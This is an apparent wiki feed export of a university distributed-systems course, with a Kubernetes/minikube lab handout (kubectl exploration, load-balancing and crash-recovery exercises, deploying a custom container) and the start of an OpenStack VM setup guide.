&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Kubernetes deploys Linux containers as “Pods”, which form an even higher-level abstraction around the container itself. In addition to Pods, Kubernetes supports several other API objects that abstract over various distributed systems concepts. The simple deployment you have installed uses a few of these API objects.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Using &amp;lt;code&amp;gt;kubectl get &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;kubectl explain &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;kubectl describe &amp;amp;lt;object name&amp;amp;gt;&amp;lt;/code&amp;gt;, identify at least three different kinds of API object that are used in our deployment and briefly describe what they do. You can refer to &amp;lt;code&amp;gt;kubectl --help&amp;lt;/code&amp;gt; as needed to explain what these commands do.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 1: Some resources are encapsulated by multiple layers of abstraction. Each “layer” counts as a unique type of object for the purposes of this question.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 2: The command &amp;lt;code&amp;gt;kubectl api-resources&amp;lt;/code&amp;gt; will enumerate a full list of all supported API objects. You may also wish to consult [https://kubernetes.io/docs/concepts/workloads/pods/ the relevant documentation] if you are stuck.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 3: You may want to have a look at the contents of the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Run &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; to see a list of the pods that are running in your cluster. You should notice several &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods and one &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod. Spawn an interactive shell into the &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod using &amp;lt;code&amp;gt;kubectl exec comp4000client -it    -- /bin/sh&amp;lt;/code&amp;gt;. Examine the layout of your container’s filesystem. What files and directories exist? Do you think these files exist on your VM or somewhere else? What commands can you run?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Try running &amp;lt;code&amp;gt;cd ..&amp;lt;/code&amp;gt; to leave the empty &amp;lt;code&amp;gt;/client&amp;lt;/code&amp;gt; directory.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Our cluster exposes the &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods using a &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. To find its IP address, start by spawning another terminal by starting another SSH session. (You should probably have &#039;&#039;at least&#039;&#039; two terminals open for the rest of this experience.) In your second terminal, run &amp;lt;code&amp;gt;kubectl get services&amp;lt;/code&amp;gt; and copy the &amp;lt;code&amp;gt;CLUSTER-IP&amp;lt;/code&amp;gt; next to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;From inside your &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; container, use &amp;lt;code&amp;gt;curl &amp;amp;lt;IP address here&amp;amp;gt;&amp;lt;/code&amp;gt; to send a GET request to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. Repeat the same command a few different times. What do you notice about the output? Explain.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Try running &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; again to refresh your memory about the topology of our cluster.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The simple web server running behind our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service exposes a convenient end point called &amp;lt;code&amp;gt;/crashme&amp;lt;/code&amp;gt; that bricks the server. Try calling this end point several times like &amp;lt;code&amp;gt;for i in $(seq 1 20); do curl &amp;amp;lt;IP address here&amp;amp;gt;/crashme; done&amp;lt;/code&amp;gt;, then try interacting with the servers after a few moments.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Repeat the same experiment, but this time run &amp;lt;code&amp;gt;kubectl get pods -w&amp;lt;/code&amp;gt; in another terminal to watch the status of your pods in real time. What do you think is happening? Try to come up with an explanation for the behaviour you see.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Another end point &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; returns a count of how many GET requests the server has processed. Try spamming our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; with requests to &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; like &amp;lt;code&amp;gt;for i in $(seq    1 10000); do curl &amp;amp;lt;IP address here&amp;amp;gt;/count; done&amp;lt;/code&amp;gt;. What do you notice about the count for each server? Try to explain what you see.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Think all the way back to the second question.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Try scaling up the replication count of &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt;. You can do this using &amp;lt;code&amp;gt;kubectl scale deployment comp4000server --replicas &amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; where &amp;lt;code&amp;gt;&amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; is a number of your choosing. Try this a few different times with different numbers and examine the output of &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; each time. You might also want to try repeating some of the earlier exercises with your newly scaled deployment.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Deploying a Custom Container Image (Hard) ==&lt;br /&gt;
&lt;br /&gt;
The simple web server for this experience has one last end point: &amp;lt;code&amp;gt;/printerfacts&amp;lt;/code&amp;gt;. Making an HTTP GET request to this end point returns some totally non-suspicious facts about printers. Your task is to write a simple client application (in any language of your choosing) to consume the &amp;lt;code&amp;gt;printerfacts&amp;lt;/code&amp;gt; API in some way. Feel free to be as creative as you like.&lt;br /&gt;
&lt;br /&gt;
Once you have written your application, containerize it and deploy it to your cluster in any way you see fit. For example, you may wish to replicate it, make it stateful (e.g. persist a simple database), or expose it to the outside world using a &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; service.&lt;br /&gt;
&lt;br /&gt;
Tell us about what you did and how you did it. In particular, we want to hear about the parts you had difficulty with, any ideas you had that didn’t pan out, what ended up working, and how your deployment fits together with the rest of the cluster.&lt;br /&gt;
&lt;br /&gt;
Points for this question will be awarded based on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: lower-alpha;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The sophistication of your deployment. (Challenge yourself!)&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The quality of your explanation.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here are some hints to help you get started:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: lower-alpha;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;When you are creating your container image, you need to take extra care to ensure Kubernetes uses your local image. To do this, run &amp;lt;code&amp;gt;eval $(minikube docker-env)&amp;lt;/code&amp;gt; before running any &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; commands in your shell. In your &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt;, set &amp;lt;code&amp;gt;imagePullPolicy: Never&amp;lt;/code&amp;gt; under the &amp;lt;code&amp;gt;container&amp;lt;/code&amp;gt; field to force it to use your local image.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;You can create a new container image by writing a Dockerfile for it and running &amp;lt;code&amp;gt;docker    build -t &amp;amp;lt;name&amp;amp;gt; .&amp;lt;/code&amp;gt; to build it.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;You can modify the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file to create your API object, then re-deploy it by running the same &amp;lt;code&amp;gt;kubectl apply -f&amp;lt;/code&amp;gt; command from earlier. Feel free to copy-paste and/or modify any of the existing configuration.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with Kubernetes in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
== Acknowledgements ==&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23334</id>
		<title>DistOS 2021F Experience 1</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23334"/>
		<updated>2021-09-26T17:24:37Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Created page with &amp;quot;= COMP4000 Implementation Experience 1: Getting Started with Kubernetes =  In this implementation experience, you will be configuring and deploying a simple “hello world”...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= COMP4000 Implementation Experience 1: Getting Started with Kubernetes =&lt;br /&gt;
&lt;br /&gt;
In this implementation experience, you will be configuring and deploying a simple “hello world” Kubernetes cluster using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;. While your cluster is not yet truly “distributed”, it behaves just as a real Kubernetes cluster would. For more information on Kubernetes configuration, you may wish to consult the [https://kubernetes.io/docs/concepts/ official documentation]. Links to specific documentation items will also be provided as hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screen shots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The experience report is &#039;&#039;&#039;due on November 2nd, 2021&#039;&#039;&#039;. However, it may be a good idea to get started as quickly as possible, especially if you plan on doing an implementation-focused final project.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar with setting up a simple Kubernetes cluster.&lt;br /&gt;
# A harder challenge that involves you deploying your own image in your cluster to interact with a simple API.&lt;br /&gt;
# An opportunity to reflect on your experiences with Kubernetes and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
Students are expected to complete Part 1 and Part 3 to get a grade of at most B. Part 2 is optional, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Getting Started ==&lt;br /&gt;
&lt;br /&gt;
To get started, you will need to run a few commands on your OpenStack course VM to set up the environment. If you are not yet on OpenStack, please get set up as quickly as possible. We have a [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack detailed setup guide available] if you need assistance.&lt;br /&gt;
&lt;br /&gt;
# SSH into your VM using your preferred SSH client. Remember that your username and password are both &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; by default.&lt;br /&gt;
# If you haven’t already, &#039;&#039;&#039;change your password&#039;&#039;&#039; with the &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; command.&lt;br /&gt;
# Set up a simple minikube cluster using &amp;lt;code&amp;gt;minikube start&amp;lt;/code&amp;gt;. After running this command, you should see some information printed to your terminal as minikube sets up your environment. Let the command run to completion.&lt;br /&gt;
# Deploy the experience 1 configuration by running &amp;lt;code&amp;gt;kubectl apply -f deployment.yml&amp;lt;/code&amp;gt;. This should download some container images and create the necessary Kubernetes API objects to run our simple “distributed” application.&lt;br /&gt;
&lt;br /&gt;
== Part 1 (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Kubernetes deploys Linux containers as “Pods”, which form an even higher-level abstraction around the container itself. In addition to Pods, Kubernetes supports several other API objects that abstract over various distributed systems concepts. The simple deployment you have installed uses a few of these API objects.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Using &amp;lt;code&amp;gt;kubectl get &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;kubectl explain &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;kubectl describe &amp;amp;lt;object name&amp;amp;gt;&amp;lt;/code&amp;gt;, identify at least three different kinds of API object that are used in our deployment and briefly describe what they do. You can refer to &amp;lt;code&amp;gt;kubectl --help&amp;lt;/code&amp;gt; as needed to explain what these commands do.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 1: Some resources are encapsulated by multiple layers of abstraction. Each “layer” counts as a unique type of object for the purposes of this question.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 2: The command &amp;lt;code&amp;gt;kubectl api-resources&amp;lt;/code&amp;gt; will enumerate a full list of all supported API objects. You may also wish to consult [https://kubernetes.io/docs/concepts/workloads/pods/ the relevant documentation] if you are stuck.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 3: You may want to have a look at the contents of the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Run &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; to see a list of the pods that are running in your cluster. You should notice several &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods and one &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod. Spawn an interactive shell into the &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod using &amp;lt;code&amp;gt;kubectl exec comp4000client -it    -- /bin/sh&amp;lt;/code&amp;gt;. Examine the layout of your container’s filesystem. What files and directories exist? Do you think these files exist on your VM or somewhere else? What commands can you run?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Try running &amp;lt;code&amp;gt;cd ..&amp;lt;/code&amp;gt; to leave the empty &amp;lt;code&amp;gt;/client&amp;lt;/code&amp;gt; directory.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Our cluster exposes the &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods using a &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. To find its IP address, start by spawning another terminal by starting another SSH session. (You should probably have &#039;&#039;at least&#039;&#039; two terminals open for the rest of this experience.) In your second terminal, run &amp;lt;code&amp;gt;kubectl get services&amp;lt;/code&amp;gt; and copy the &amp;lt;code&amp;gt;CLUSTER-IP&amp;lt;/code&amp;gt; next to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;From inside your &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; container, use &amp;lt;code&amp;gt;curl &amp;amp;lt;IP address here&amp;amp;gt;&amp;lt;/code&amp;gt; to send a GET request to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. Repeat the same command a few different times. What do you notice about the output? Explain.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Try running &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; again to refresh your memory about the topology of our cluster.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The simple web server running behind our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service exposes a convenient end point called &amp;lt;code&amp;gt;/crashme&amp;lt;/code&amp;gt; that bricks the server. Try calling this end point several times like &amp;lt;code&amp;gt;for i in $(seq 1 20); do curl &amp;amp;lt;IP address here&amp;amp;gt;/crashme; done&amp;lt;/code&amp;gt;, then try interacting with the servers after a few moments.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Repeat the same experiment, but this time run &amp;lt;code&amp;gt;kubectl get pods -w&amp;lt;/code&amp;gt; in another terminal to watch the status of your pods in real time. What do you think is happening? Try to come up with an explanation for the behaviour you see.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Another end point &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; returns a count of how many GET requests the server has processed. Try spamming our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; with requests to &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; like &amp;lt;code&amp;gt;for i in $(seq    1 10000); do curl &amp;amp;lt;IP address here&amp;amp;gt;/count; done&amp;lt;/code&amp;gt;. What do you notice about the count for each server? Try to explain what you see.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Think all the way back to the second question.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Try scaling up the replication count of &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt;. You can do this using &amp;lt;code&amp;gt;kubectl scale deployment comp4000server --replicas &amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; where &amp;lt;code&amp;gt;&amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; is a number of your choosing. Try this a few different times with different numbers and examine the output of &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; each time. You might also want to try repeating some of the earlier exercises with your newly scaled deployment.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Deploying a Custom Container Image (Hard) ==&lt;br /&gt;
&lt;br /&gt;
The simple web server for this experience has one last end point: &amp;lt;code&amp;gt;/printerfacts&amp;lt;/code&amp;gt;. Making an HTTP GET request to this end point returns some totally non-suspicious facts about printers. Your task is to write a simple client application (in any language of your choosing) to consume the &amp;lt;code&amp;gt;printerfacts&amp;lt;/code&amp;gt; API in some way. Feel free to be as creative as you like.&lt;br /&gt;
&lt;br /&gt;
Once you have written your application, containerize it and deploy it to your cluster in any way you see fit. For example, you may wish to replicate it, make it stateful (e.g. persist a simple database), or expose it to the outside world using a &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; service.&lt;br /&gt;
&lt;br /&gt;
Tell us about what you did and how you did it. In particular, we want to hear about the parts you had difficulty with, any ideas you had that didn’t pan out, what ended up working, and how your deployment fits together with the rest of the cluster.&lt;br /&gt;
&lt;br /&gt;
Points for this question will be awarded based on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: lower-alpha;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The sophistication of your deployment. (Challenge yourself!)&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The quality of your explanation.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here are some hints to help you get started:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: lower-alpha;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;When you are creating your container image, you need to take extra care to ensure Kubernetes uses your local image. To do this, run &amp;lt;code&amp;gt;eval $(minikube docker-env)&amp;lt;/code&amp;gt; before running any &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; commands in your shell. In your &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt;, set &amp;lt;code&amp;gt;imagePullPolicy: Never&amp;lt;/code&amp;gt; under the &amp;lt;code&amp;gt;container&amp;lt;/code&amp;gt; field to force it to use your local image.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;You can create a new container image by writing a Dockerfile for it and running &amp;lt;code&amp;gt;docker    build -t &amp;amp;lt;name&amp;amp;gt; .&amp;lt;/code&amp;gt; to build it.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;You can modify the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file to create your API object, then re-deploy it by running the same &amp;lt;code&amp;gt;kubectl apply -f&amp;lt;/code&amp;gt; command from earlier. Feel free to copy-paste and/or modify any of the existing configuration.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with Kubernetes in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
== Acknowledgements ==&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F:_Using_Openstack&amp;diff=23240</id>
		<title>DistOS 2021F: Using Openstack</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F:_Using_Openstack&amp;diff=23240"/>
		<updated>2021-09-09T19:20:53Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Grammar&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= OpenStack =&lt;br /&gt;
&lt;br /&gt;
We will be using OpenStack to spin up virtual machine instances for use during the implementation experiences and (optionally) the course project if you choose to include an implementation component. In the first implementation experience, you will be working with a personal VM hosted on OpenStack. To get set up, follow the instructions below.&lt;br /&gt;
&lt;br /&gt;
== Getting Started ==&lt;br /&gt;
&lt;br /&gt;
To get started and connect to the OpenStack dashboard, you will first need to update your SCS account and connect to Carleton’s intranet via a VPN. You can see [https://carleton.ca/scs/tech-support/scs-open-stack/openstack-technical-support/ the official guide provided by SCS technical support] for more details.&lt;br /&gt;
&lt;br /&gt;
First, connect to the Carleton VPN by following the [https://carleton.ca/its/help-centre/remote-access/ remote access VPN instructions]. Once you are connected, you will likely need to update your SCS account to be added to our course’s OpenStack project. You can do so by [https://www.scs.carleton.ca/webacct clicking this link] and following the instructions. You &#039;&#039;&#039;do not&#039;&#039;&#039; need to change your SCS password, but you can if you like.&lt;br /&gt;
&lt;br /&gt;
Once you are connected to the VPN and your account has been updated, you can access [https://openstack-stein.scs.carleton.ca/ our course’s OpenStack dashboard]. After clicking the link, you may need to select the COMP4000A-F21 project from the dropdown menu in the top left.&lt;br /&gt;
&lt;br /&gt;
== Setting Up Your Personal VM ==&lt;br /&gt;
&lt;br /&gt;
To set up your VM, navigate to &amp;lt;code&amp;gt;Compute -&amp;amp;gt; Instances&amp;lt;/code&amp;gt; using the menu on the left-hand side of the page. Then click the &amp;lt;code&amp;gt;Launch Instance&amp;lt;/code&amp;gt; button near the top right. Then provide the following information:&lt;br /&gt;
&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Details&amp;lt;/code&amp;gt;, set &amp;lt;code&amp;gt;Instance Name&amp;lt;/code&amp;gt; to &amp;lt;code&amp;gt;firstname-lastname&amp;lt;/code&amp;gt; where you sub in your first and last name respectively. You &#039;&#039;&#039;must&#039;&#039;&#039; follow this naming convention, otherwise your instance may be deleted without notice.&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Source&amp;lt;/code&amp;gt; select &amp;lt;code&amp;gt;Instance Snapshot&amp;lt;/code&amp;gt; from the &amp;lt;code&amp;gt;Boot Source&amp;lt;/code&amp;gt; dropdown. Then scroll down and select &amp;lt;code&amp;gt;COMP4000-studentvm-v1&amp;lt;/code&amp;gt; by clicking the corresponding arrow on the right hand side.&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Flavor&amp;lt;/code&amp;gt; click the arrow on the right hand side of &amp;lt;code&amp;gt;comp4000a-f21.4gram.8gdisk.2cpu&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Security Goups&amp;lt;/code&amp;gt; click the arrow on the right hand side of &amp;lt;code&amp;gt;ping-ssh-egress&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Finally, click the blue &amp;lt;code&amp;gt;Launch Instance&amp;lt;/code&amp;gt; button.&lt;br /&gt;
&lt;br /&gt;
After following these steps, you should see your named instance show up in the list (likely at the top). Once you locate your instance, select &amp;lt;code&amp;gt;Associate Floating IP&amp;lt;/code&amp;gt; using the dropdown on the right-hand side. You will be prompted to select an IP address starting in &amp;lt;code&amp;gt;134&amp;lt;/code&amp;gt;. &#039;&#039;&#039;This is the IP address you will use to connect to your VM later.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Connecting to Your Personal VM ==&lt;br /&gt;
&lt;br /&gt;
You can connect to your personal VM using an ssh client. On Linux, MacOS, and WSL, you can do this using the &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; command like &amp;lt;code&amp;gt;ssh student@my.floating.ip&amp;lt;/code&amp;gt;, where you replace &amp;lt;code&amp;gt;my.floating.ip&amp;lt;/code&amp;gt; with your floating IP from earlier. You will then be prompted to enter your password, which is just &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; by default.&lt;br /&gt;
&lt;br /&gt;
On Windows without WSL, you can use an ssh client like [https://www.putty.org/ &amp;lt;code&amp;gt;PuTTY&amp;lt;/code&amp;gt;]. After downloading PuTTY, you can configure it to connect to your VM’s floating IP.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;NOTE:&#039;&#039;&#039; You must either be connected to the Carleton VPN or perform a ProxyJump in order to ssh into your VM. We recommend avoiding the VPN and using a ProxyJump instead, as this will lighten the load on Carleton’s network.&lt;br /&gt;
&lt;br /&gt;
=== Performing a ProxyJump Using SSH ===&lt;br /&gt;
&lt;br /&gt;
This step is only necessary if you wish to connect to the VM without using the Carleton VPN.&lt;br /&gt;
&lt;br /&gt;
